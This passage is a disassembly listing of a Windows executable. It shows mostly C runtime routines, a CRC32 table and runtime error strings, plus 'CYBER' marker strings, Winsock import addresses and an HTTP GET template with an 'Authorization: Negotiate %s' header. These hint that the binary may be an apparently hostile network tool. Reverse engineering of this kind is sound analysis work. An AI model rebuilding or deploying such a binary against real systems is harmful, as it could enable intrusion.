		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_441BAC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4E0E40
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610057h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4D06DC
		push	esi
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4E0E40, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610057h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2821119h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2821119h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4E0BE4

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2620000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25D0000h, 25E0000h, 25F0000h, 25F073Eh, 2600000h, 2600ABCh
		dd 2600B5Ch, 2610000h, 2610057h, 2620000h, 26207BBh, 2620DC1h
		dd 2630000h, 263083Fh, 2630C5Ch
dword_42703C	dd 2630C93h		; DATA XREF: ___:004231D9r
		dd 2640000h, 26402AFh, 26402F6h, 2640443h, 2650000h, 2651378h
		dd 2660000h, 26603B1h, 2660899h, 77E75CB5h
dword_427068	dd 26608ABh		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2660C2Fh, 2670000h, 2670A44h
dword_427078	dd 2680000h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2680053h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 26801ADh
dword_427084	dd 26802E0h		; DATA XREF: sub_4196BC+B9r
		dd 268081Ah
dword_42708C	dd 268086Bh		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 26808D7h		; DATA XREF: ___:loc_4013DCr
		dd 2680D7Eh, 2680E9Ah
dword_42709C	dd 2690000h		; DATA XREF: sub_409B12+2r
		dd 26901AFh, 2690228h
dword_4270A8	dd 26907CFh		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2690876h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 26A0000h, 26A0B6Bh
dword_4270B8	dd 26A0C56h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26B0000h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26C0000h, 26D0000h, 26D0576h, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E06BCh, 26E086Eh, 26F0000h, 26F0864h
dword_4270E8	dd 2700000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 270087Fh		; DATA XREF: sub_418293+36r
		dd 2700A3Eh, 2710000h
dword_4270F8	dd 27105AEh		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2720000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2730000h, 2740000h, 2750000h, 27503C6h, 2760000h, 2760541h
		dd 2770000h, 2780000h, 2790000h, 279031Fh, 27903F3h, 279054Fh
		dd 27A0000h, 27A03A1h, 27A07A3h
dword_42713C	dd 27B0000h		; DATA XREF: sub_416F1A+BCr
		dd 27B060Ah
dword_427144	dd 27C0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27C09D8h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27C0A6Bh
dword_427150	dd 27C0CFCh		; DATA XREF: sub_417275+56r
		dd 27D0000h, 27E0000h, 27F0000h, 27F0627h, 27F0C36h, 2800000h
		dd 2800197h, 28007DBh, 2810000h, 2820000h
dword_42717C	dd 2821119h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2830000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2840000h, 28405B5h, 2840A57h, 2850000h, 2860000h, 2870000h
		dd 2880000h, 2890000h, 28A0000h, 28B0000h, 28B1ABDh, 28B1ACEh
		dd 28C0000h, 28C0CFEh, 28D0000h
dword_4271C0	dd 28D055Eh		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28D06E1h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28D0868h, 28E0000h, 28E07B5h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_441DC4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_441DC0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_44203Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_44220Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_442934o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
